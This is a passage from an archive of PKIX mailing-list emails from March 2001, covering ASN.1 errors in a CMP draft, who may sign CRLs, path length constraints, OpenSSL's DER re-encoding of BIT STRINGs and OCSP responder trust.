4. Some ASN.1 definitions appear in the text but not in the module:
confirmWaitTime, confirmWaitTimeValue, implicitConfirm,
implicitConfirmValue.  All the definitions are invalid ASN.1.
5. OIDs should be:
    implicitConfirm OBJECT IDENTIFIER ::= {id-it 13}
    confirmWaitTime OBJECT IDENTIFIER ::= {id-it 14}
6. Types must start with a capital letter:
    ImplicitConfirmValue ::= NULL
    ConfirmWaitTimeValue ::= GeneralizedTime - time CA will wait until

------_=_NextPart_001_01C0A69A.2E42C0F8
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>RE: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and rfc2511bis- 01.txt)</TITLE>

<META content="MSHTML 5.00.3105.105" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=340435122-06032001>Carlisle,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=340435122-06032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=340435122-06032001>Phil's 
items&nbsp;are&nbsp;EDITORIAL bugs in the ASN.1.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=340435122-06032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=340435122-06032001>A lot 
of PKIX (particularly ASN.1 definitions) are cut 'n pasted from 
X.509,&nbsp;other X.500-series standards, PKCS standards, etc.&nbsp; There is 
little coordination&nbsp;of ASN.1 modules between&nbsp;various standard groups 
(PKIX don't&nbsp;IMPORT definitions from X.509, they redefine them in their own 
modules).&nbsp; You often want to use PKIX and these other standards together, 
but compilers tend not to like duplicate definitions of everything.&nbsp; The 
solution is to rearrange the definitions, IMPORTS and modules to fit your own 
system.&nbsp; <FONT color=#0000ff face=Arial size=2><SPAN 
class=340435122-06032001>As part of this rearranging process it is natural that 
people correct any editorial bugs they create or find: some will report these to 
the editor, other assume they are too trivial to worry about.&nbsp; 
</SPAN></FONT></SPAN></FONT><FONT color=#0000ff face=Arial size=2><SPAN 
class=340435122-06032001>The rfc2510bis ASN.1 module even explicitly says each 
implementer&nbsp;must adjusted the module themselves to&nbsp;IMPORT the 
definition of CertificateRequest.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=340435122-06032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=340435122-06032001>ASN.1 
error detected by another compiler in rfc2510bis appendix F:</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=340435122-06032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=340435122-06032001>1. The 
IMPORT section is not terminated with a semicolon.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=340435122-06032001>2. 
CMP1999(1) &amp; CMP2000(2) identifiers must start with a lowercase 
letter</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=340435122-06032001>3. 
"SEQUENCE of CertStatus": "OF"&nbsp;must be capitalised.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=340435122-06032001>4.&nbsp;Some ASN.1 definitions appear in the text 
but&nbsp;not in the module: confirmWaitTime, confirmWaitTimeValue, 
implicitConfirm, implicitConfirmValue.&nbsp; All the definitions are invalid 
ASN.1.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=340435122-06032001>5. 
OIDs should be:</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=340435122-06032001>&nbsp;&nbsp;&nbsp; implicitConfirm OBJECT IDENTIFIER 
::= {id-it 13}</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=340435122-06032001>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=340435122-06032001>&nbsp;&nbsp;&nbsp; confirmWaitTime OBJECT IDENTIFIER 
::= {id-it 14}</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=340435122-06032001>6. 
Types must start with a capital letter:</SPAN></FONT></DIV></SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=340435122-06032001>&nbsp;&nbsp;&nbsp; ImplicitConfirmValue ::= 
NULL</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=340435122-06032001>&nbsp;&nbsp;&nbsp; ConfirmWaitTimeValue ::= 
GeneralizedTime - time CA will wait until</SPAN></FONT></DIV></BODY></HTML>

------_=_NextPart_001_01C0A69A.2E42C0F8--


Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA15931 for <[e-mail]>; Tue, 6 Mar 2001 15:55:38 -0800 (PST)
Received: from [128.33.238.219] (dc092.bbn.com [171.78.60.92]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id SAA20093; Tue, 6 Mar 2001 18:48:26 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010403b6cb1f262988@[128.33.238.219]>
In-Reply-To: <[e-mail]>
References: <[e-mail]> <[e-mail]>
Date: Tue, 6 Mar 2001 18:16:33 -0500
To: David Chadwick <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: X.509, PKIX, and pathLenConstraint
Cc: "X.500 Directory Exploder List" <[e-mail]>, PKIX <[e-mail]>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

David,

To me, the text you cite (7.3) lends further credence to the notion 
that a CA is the entity that signs CRLs. Only the CA that issued a 
cert could sign a CRL revoking that cert, until v3 of X.509, where 
the introduction of indirect CRLs and CRL DPs opened up new 
possibilities. The fundamental question is whether these features 
create a new class of entity that can sign CRLs but not be marked (in 
its certificate) as a CA, or whether these facilities merely allow 
one CA to delegate CRL signing to another CA, perhaps operated under 
the same administrative jurisdiction.

Steve


Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA15098 for <[e-mail]>; Tue, 6 Mar 2001 15:37:58 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Tue, 6 Mar 2001 15:38:00 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]>; Tue, 06 Mar 2001 15:38:00 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <GD3GKBN2>; Tue, 06 Mar 2001 15:31:59 -0800
Content-return: allowed
Date: Tue, 06 Mar 2001 15:31:58 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: Open Issue in Part1: path length constraints
To: "'Stephen Kent'" <[e-mail]>, "David P. Kemp" <[e-mail]>
Cc: [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Steve, we use the Indirect CRL/Indirect delta CRL format to
propogate revocation information for particular CAs between
our VAs (Validation Authorities).

Basically, as master VA can receive information that a particular
cert was revoked at a CA (even if the CA has not had time to
issue a new CRL as yet). It can (and does) create a Indirect
CRL with this information that it signs. The VA never acts
as a CA - it never issues certs, but still needs to be
responsible for creating and propogating revocation information
to other VAs.

While we use these indirect CRLs to propogate information just
amongst VAs, it is not a stretch to seeing clients trust these
indirect CRLs for their own purposes.

Hope this helps justify why it does make sense for non-CAs to
still issue CRLs.

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Stephen Kent [mailto:[e-mail]]
> Sent: Tuesday, March 06, 2001 11:43 AM
> To: David P. Kemp
> Cc: [e-mail]
> Subject: RE: Open Issue in Part1: path length constraints
> 
> 
> Dave,
> 
> >Steve,
> >
> >I think of a "CA" as some people in a room with a Safekeeper.
> >If a CA wants to run its certificate signing functions on a machine
> >with no network connections, and it's CRL signing functions on a
> >network-connected machine, wouldn't that CA issue a certificate
> >to its CRL-signing key signed by its certificate-signing key?
> 
> I agree that there is ambiguity in what we mean when we refer to a CA 
> in such circumstances, but algorithmically I have always assumed that 
> only CAs issued CRLs and we can tell whether the entity is a CA by 
> the basic constraints extension. I see there is considerable 
> sentiment to allow for non-CA flagged entities to sign CRLs, but I'm 
> not yet sure I understand why folks consider it important to not turn 
> on the CA flag in certs for such entities. After all, since we have 
> separate key usage bits for cert and CRL signing, we can construct a 
> cert for an entity that signs CRLs and not grant that entity the 
> ability to sign certs, if we so desire.
> 
> As for your example, I would have expected the CA to accomplish the 
> same effect by having a second cert, with the same name, but with a 
> different key and with the key usage bits set to indicate CRL signing 
> but not cert signing. In that case, I would have expected the cert 
> for this second instance of the CA to have the CA flag set to true.
> 
> >If that certificate has cA=false, and keyCertSign=0 and cRLSign=1,
> >isn't the subject of the certificate "a conforming CA"?
> 
> Not by my understanding.
> 
> >When X.509 says "keyCertSign: for verifying a CA's signature on
> >certificates", doesn't "a CA" refer to the people with the signing
> >machine, not a public key in a certificate with cA=true?
> 
> I have adopted a more restrictive interpretation, but I can be 
> persuaded otherwise IF I get a good answer to the question I posed 
> above.  Also, if we are to accommodate non-CA-flagged entities 
> signing CRLs, we need to chnage the text in 2459bis in a lot of 
> places and make this very clear up front.
> 
> Steve
> 


Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA14665 for <[e-mail]>; Tue, 6 Mar 2001 15:31:45 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Tue, 6 Mar 2001 15:31:47 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]>; Tue, 06 Mar 2001 15:31:47 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <GD3GKBL0>; Tue, 06 Mar 2001 15:25:46 -0800
Content-return: allowed
Date: Tue, 06 Mar 2001 15:25:46 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: DER encoding of KeyUsage BIT STRING
To: "'Dr S N Henson'" <[e-mail]>, [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Hi Steve,
    What I was referring to, was the fact that SSLeay/OpenSSL
does break up a structure into its component pieces and then
re-encode them to, for example verify signatures, etc.

    I know I had encountered this behavior when somebody was 
BER encoding their data for transmission (even thought they
had signed the original DER encoding of the data).

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Dr S N Henson [mailto:[e-mail]]
> Sent: Tuesday, March 06, 2001 3:11 PM
> To: [e-mail]
> Subject: Re: DER encoding of KeyUsage BIT STRING
> 
> 
> Ambarish Malpani wrote:
> > 
> > SSLeay/OpenSSL does that. Seems to work pretty well with most
> > things.
> > 
> 
> The way OpenSSL handles BIT STRINGs goes something like this...
> 
> If the BIT STRING comes from an decoding a BIT STRING then the encoded
> structure will precisely match the decoded one. This is primarily to
> avoid breaking signatures.
> 
> If the BIT STRING is created internally then the number of unused bits
> is set appropriately according to the number of trailing zeroes.
> 
> If the BIT STRING has certain flags set (which effectively mark it as
> unnamed) then the number of bits is set to zero.
> 
> None of this however applies to certificate extensions because the
> actual encoding is wrapped in an OCTET STRING. The actual extension
> could contain completely unstructured garbage and it would still
> reencode properly. 
> 
> Steve.
> -- 
> Dr Stephen N. Henson.   http://www.drh-consultancy.demon.co.uk/
> Personal Email: [e-mail] 
> Senior crypto engineer, Celo Communications: http://www.celocom.com/
> Core developer of the   OpenSSL project: http://www.openssl.org/
> Business Email: [e-mail] PGP key: via homepage.
> 


Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA14278 for <[e-mail]>; Tue, 6 Mar 2001 15:27:43 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Tue, 6 Mar 2001 15:27:45 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]> for [e-mail]; Tue, 06 Mar 2001 15:27:45 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <GD3GKBKW>; Tue, 06 Mar 2001 15:21:44 -0800
Content-return: allowed
Date: Tue, 06 Mar 2001 15:21:43 -0800
From: Ambarish Malpani <[e-mail]>
Subject: Son-of-2459 - AIA with multiple AccessDescriptions with the same accessMethod
To: [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Hi Guys,
    In the specification for AIA (section 4.2.2.1), there can
be multiple AccessDescriptions.

Can there be > 1 AccessDescription with the same accessMethod?
People have asked us a few times if this is legal or not. I think
this should be allowed and so specified in Son-of-2459. The
rationale for this, is people want fault tolerance, where they
want to specify the location of multiple OCSP responders, so that
if one is down, you can go to another.

Does this make sense?
Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043



Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA12655 for <[e-mail]>; Tue, 6 Mar 2001 15:07:35 -0800 (PST)
Received: from drh-consultancy.demon.co.uk ([193.237.150.98] helo=celocom.com) by finch-post-10.mail.demon.net with esmtp (Exim 2.12 #1) id 14aQYL-000FnD-0A for [e-mail]; Tue, 6 Mar 2001 23:07:37 +0000
Message-ID: <[e-mail]>
Date: Tue, 06 Mar 2001 23:11:27 +0000
From: Dr S N Henson <[e-mail]>
Organization: S N Henson
X-Mailer: Mozilla 4.73 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: DER encoding of KeyUsage BIT STRING
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ambarish Malpani wrote:
> 
> SSLeay/OpenSSL does that. Seems to work pretty well with most
> things.
> 

The way OpenSSL handles BIT STRINGs goes something like this...

If the BIT STRING comes from an decoding a BIT STRING then the encoded
structure will precisely match the decoded one. This is primarily to
avoid breaking signatures.

If the BIT STRING is created internally then the number of unused bits
is set appropriately according to the number of trailing zeroes.

If the BIT STRING has certain flags set (which effectively mark it as
unnamed) then the number of bits is set to zero.

None of this however applies to certificate extensions because the
actual encoding is wrapped in an OCTET STRING. The actual extension
could contain completely unstructured garbage and it would still
reencode properly. 

Steve.
-- 
Dr Stephen N. Henson.   http://www.drh-consultancy.demon.co.uk/
Personal Email: [e-mail] 
Senior crypto engineer, Celo Communications: http://www.celocom.com/
Core developer of the   OpenSSL project: http://www.openssl.org/
Business Email: [e-mail] PGP key: via homepage.



Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA10911 for <[e-mail]>; Tue, 6 Mar 2001 14:43:44 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Tue, 6 Mar 2001 14:43:47 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]>; Tue, 06 Mar 2001 14:43:46 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <GD3GKBD0>; Tue, 06 Mar 2001 14:37:46 -0800
Content-return: allowed
Date: Tue, 06 Mar 2001 14:37:45 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: DER encoding of KeyUsage BIT STRING
To: "'Peter Gutmann'" <[e-mail]>, [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

SSLeay/OpenSSL does that. Seems to work pretty well with most
things.

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Peter Gutmann [mailto:[e-mail]]
> Sent: Tuesday, March 06, 2001 11:52 AM
> To: [e-mail]
> Subject: Re: DER encoding of KeyUsage BIT STRING
> 
> 
> 
> 
> John Thielens <[e-mail]> writes:
> 
> >Ordinarily, I wouldn't even notice.  But in this case, the 
> certificate goes
> >through a toolkit that parses the certificate into an 
> internal canonical form
> >and then regenerates its own DER encoded certificate, 
> thereby changing the
> >second encoding into the first.
> 
> Is there really a toolkit out there which does that?  
> Wouldn't that break about
> 90% of the certificates in existence?
> 
> (I'm not just being facetious with that question, I can't 
> imagine how anyone
>  could field a toolkit which recodes certs into correct DER 
> without finding
>  that almost everything they try fails to work after the 
> recoding.  Which
>  toolkit is this?  I should probably put a warning about this 
> in the style
>  guide).
> 
> >1) the "unusual" CA is at fault for generating an improper 
> DER encoding with
> >trailing 0's explicit in a BIT STRING.
> 
> Yes, look up the rules for named bit strings in X.680/690 (I 
> don't have a copy
> handy at the moment so I can't quote chapter and verse).  
> OTOH the CA isn't
> that unusual, a lot of CAs and implementations do this (thus 
> my surprise that
> the toolkit managed to get past any field testing with that 
> behaviour).
> 
> Peter.
> 


Received: from pae-main.securify.com (vg-2.securify.com [207.5.63.2]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA09249 for <[e-mail]>; Tue, 6 Mar 2001 14:21:35 -0800 (PST)
Received: from securify.com (dude.securify.com [10.5.63.6]) by pae-main.securify.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id GD846QND; Tue, 6 Mar 2001 14:21:07 -0800
Message-ID: <[e-mail]>
Date: Tue, 06 Mar 2001 17:09:05 -0500
From: David Simonetti <[e-mail]>
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Stephen Kent <[e-mail]>
CC: [e-mail]
Subject: Re: Open Issue in Part1: path length constraints
References: <[e-mail]> <p05010403b6caec8744c5@[128.33.238.183]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Steve,

Stephen Kent wrote:

>  I see there is considerable
> sentiment to allow for non-CA flagged entities to sign CRLs, but I'm
> not yet sure I understand why folks consider it important to not turn
> on the CA flag in certs for such entities. After all, since we have
> separate key usage bits for cert and CRL signing, we can construct a
> cert for an entity that signs CRLs and not grant that entity the
> ability to sign certs, if we so desire.
>

I don't think so.  From Section 4.2.1.10:

"If the cA bit is asserted, then the keyCertSign bit in the key usage extension
(see 4.2.1.3) MUST also be asserted."

--
David Simonetti
Securify (www.securify.com), 410-356-2260




Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA05809 for <[e-mail]>; Tue, 6 Mar 2001 13:32:52 -0800 (PST)
Received: from [128.33.238.219] (tc238-219.bbn.com [128.33.238.219]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id QAA08172; Tue, 6 Mar 2001 16:32:02 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail] (Unverified)
Message-Id: <p05010403b6caec8744c5@[128.33.238.183]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Tue, 6 Mar 2001 14:42:30 -0500
To: "David P. Kemp" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: RE: Open Issue in Part1: path length constraints
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Dave,

>Steve,
>
>I think of a "CA" as some people in a room with a Safekeeper.
>If a CA wants to run its certificate signing functions on a machine
>with no network connections, and it's CRL signing functions on a
>network-connected machine, wouldn't that CA issue a certificate
>to its CRL-signing key signed by its certificate-signing key?

I agree that there is ambiguity in what we mean when we refer to a CA 
in such circumstances, but algorithmically I have always assumed that 
only CAs issued CRLs and we can tell whether the entity is a CA by 
the basic constraints extension. I see there is considerable 
sentiment to allow for non-CA flagged entities to sign CRLs, but I'm 
not yet sure I understand why folks consider it important to not turn 
on the CA flag in certs for such entities. After all, since we have 
separate key usage bits for cert and CRL signing, we can construct a 
cert for an entity that signs CRLs and not grant that entity the 
ability to sign certs, if we so desire.

As for your example, I would have expected the CA to accomplish the 
same effect by having a second cert, with the same name, but with a 
different key and with the key usage bits set to indicate CRL signing 
but not cert signing. In that case, I would have expected the cert 
for this second instance of the CA to have the CA flag set to true.

>If that certificate has cA=false, and keyCertSign=0 and cRLSign=1,
>isn't the subject of the certificate "a conforming CA"?

Not by my understanding.

>When X.509 says "keyCertSign: for verifying a CA's signature on
>certificates", doesn't "a CA" refer to the people with the signing
>machine, not a public key in a certificate with cA=true?

I have adopted a more restrictive interpretation, but I can be 
persuaded otherwise IF I get a good answer to the question I posed 
above.  Also, if we are to accommodate non-CA-flagged entities 
signing CRLs, we need to chnage the text in 2459bis in a lot of 
places and make this very clear up front.

Steve


Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA05778 for <[e-mail]>; Tue, 6 Mar 2001 13:32:48 -0800 (PST)
Received: from [128.33.238.219] (tc238-219.bbn.com [128.33.238.219]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id QAA08204; Tue, 6 Mar 2001 16:32:12 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail] (Unverified)
Message-Id: <p05010405b6caeefdd8d1@[128.33.238.183]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Tue, 6 Mar 2001 14:52:23 -0500
To: "Trevor Freeman" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: RE: WG Last Call: Son-of-2459
Cc: <[e-mail]>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Trevor,

>Steve,
>I think your original idea is the right one. I am sure that products
>will appear which will support the features contained in son of RFC2459,
>so I think it premature to introduce another mechanism. I also agree
>with your premise that there will be a drive for the use of CAs who's
>job is the issuance of cross certificates to other CAs with a view to
>managing the trust relationships for a set of resources, and may never
>in their lifetime issue a certificate to a end user. I have seen this as
>an increasing trend with deployment planning due to the realisation of
>the complexity of the trust relationships required by organisations.

I appreciate the support, but I fear that we may be arguing for 
different models. I would want to see an organizational CA issue 
cross certs with name constraints, and that CA (or a subordinate of 
it) would certainly issue certs to end users. I am not fond of the 
"bridge CA" model that the U.S. federal PKI adopted, because none of 
its subscriber organizations can issue cross certs to the bridge 
containing other than simple, prohibited subtree name constraints. 
I'd be happier if the bridge CA subscriber organizations took the 
certs issued by the bridge CA and used them as a basis for issuing 
direct cross certs with name constraints. But I've been told that the 
complexity of doing that would be too great for the subscriber 
organizations, so ...

Anyway, since it is clear that not all folks will issue cross certs 
as I suggested, I have to admit to liking the fallback position of 
allowing specification of name constraints as part of the validation 
procedure, on a per trust anchor basis. The main argument I've seen 
is the one that questions whether this should be a user configurable 
parameter, or an administrative parameter, or whether this is a MAY 
(vs. SHOULD/MUST), which allows vendors to ignore the facility 
entirely.

Steve


Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA04861 for <[e-mail]>; Tue, 6 Mar 2001 13:25:19 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id f26LP9A12989; Tue, 6 Mar 2001 13:25:09 -0800 (PST)
From: "Michael Myers" <[e-mail]>
To: "David Kemp" <[e-mail]>, <[e-mail]>
Subject: RE: Open Issue in Part1: path length constraints
Date: Tue, 6 Mar 2001 13:31:06 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <[e-mail]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

> From: David Kemp [[e-mail]]
> Sent: Tuesday, March 06, 2001 8:25 AM
> To: [e-mail]
> Subject: RE: Open Issue in Part1: path length constraints
>
> . . .
>
> P.S. There is a difference between OCSP and CRLs - OCSP responses
> can be signed by a "trusted" responder . . . . CRLs, on the other hand,
> are never valid unless signed by the CA or the CA's designee.
>
> . . .


Dave,

Does your observation of a "trusted" responder interpret case 1.b below or
were you intending to speak to some broader notion?

Section 4.2.2.2 of RFC 2560 asserts the following normative requirements:

   "Systems or applications that rely on OCSP responses . . . MUST reject
   the response if the certificate required to validate the signature on
   the response fails to meet at least one of the following criteria:

   "1. Matches a local configuration of OCSP signing authority for the
   certificate in question; or

   2. Is the certificate of the CA that issued the certificate in
   question; or

   3. Includes a value of id-ad-ocspSigning in an ExtendedKeyUsage
   extension and is issued by the CA that issued the certificate in
   question."

The generality of case 1 allows for two sub-cases:

   1.a  An implicitly trusted but nonetheless CA-delegated trusted
   public key; and

   1.b  A key that is implicitly trusted by a relying party but is
   in no way related to the issuer of the certificate in question.


Mike




Received: from sottmxs02.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA02737 for <[e-mail]>; Tue, 6 Mar 2001 12:39:02 -0800 (PST)
Received: by sottmxs02.entrust.com with Internet Mail Service (5.5.2650.21) id <F59CQVTH>; Tue, 6 Mar 2001 15:38:34 -0500
Message-ID: <[e-mail]>
From: Sharon Boeyen <[e-mail]>
To: "'David Chadwick'" <[e-mail]>, "David A. Cooper" <[e-mail]>
Cc: "X.500 Directory Exploder List" <[e-mail]>, Tim Polk <[e-mail]>, PKIX <[e-mail]>
Subject: RE: X.509, PKIX, and pathLenConstraint
Date: Tue, 6 Mar 2001 15:35:48 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0A67D.073A2DB0"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0A67D.073A2DB0
Content-Type: text/plain

I can't help thinking this is getting much more complicated than it needs to
or that the discussion needs to be split into two threads, one on path
length constraints and the other on CRL-issuers.

First, there IS a definition of what a CA is (X.509 clause 3.3.16. It is "An
authority trusted by one or more users to create and assign public-key
certificates. Optionally the certification authority may create the users'
keys."

A CA also has responsibility for certificate revocation , but can delegate
that to another authority, or delegate the task of making revocation status
information available (e.g. an OCSP responder)as per the 509 quotes David C
passed along. That is the reason that the X.509 text now uses the term
CRL-issuer pretty much throughout when it talks about an entity that issues
a CRL. 

In the path validation process, from a path length constraints standpoint it
should make no difference what the final cert is used for, nor does it
matter what type of data was signed with the certified key. The constraint
on the path is still the same. The final cert and the one containing the
constraint do not count against the constraint. Is that point agreed? I want
to separate these so I'll know if the DR is ok to progress.

On the other issue of who issues CRLs, if the CA that issued the certificate
doesn't do it, then it is the responsibility of that CA to indicate the
responsible authority (as per the 509 quotes from David C), however an
entity that does not issue certificates is not a CA. Having said that, I'm
not convinced that at least for path validation reasons we need yet another
term.

Sharon

------_=_NextPart_001_01C0A67D.073A2DB0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: X.509, PKIX, and pathLenConstraint</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>I can't help thinking this is getting much more =
complicated than it needs to or that the discussion needs to be split =
into two threads, one on path length constraints and the other on =
CRL-issuers.</FONT></P>

<P><FONT SIZE=3D2>First, there IS a definition of what a CA is (X.509 =
clause 3.3.16. It is &quot;An authority trusted by one or more users to =
create and assign public-key certificates. Optionally the certification =
authority may create the users' keys.&quot;</FONT></P>

<P><FONT SIZE=3D2>A CA also has responsibility for certificate =
revocation , but can delegate that to another authority, or delegate =
the task of making revocation status information available (e.g. an =
OCSP responder)as per the 509 quotes David C passed along. That is the =
reason that the X.509 text now uses the term CRL-issuer pretty much =
throughout when it talks about an entity that issues a CRL. </FONT></P>

<P><FONT SIZE=3D2>In the path validation process, from a path length =
constraints standpoint it should make no difference what the final cert =
is used for, nor does it matter what type of data was signed with the =
certified key. The constraint on the path is still the same. The final =
cert and the one containing the constraint do not count against the =
constraint. Is that point agreed? I want to separate these so I'll know =
if the DR is ok to progress.</FONT></P>

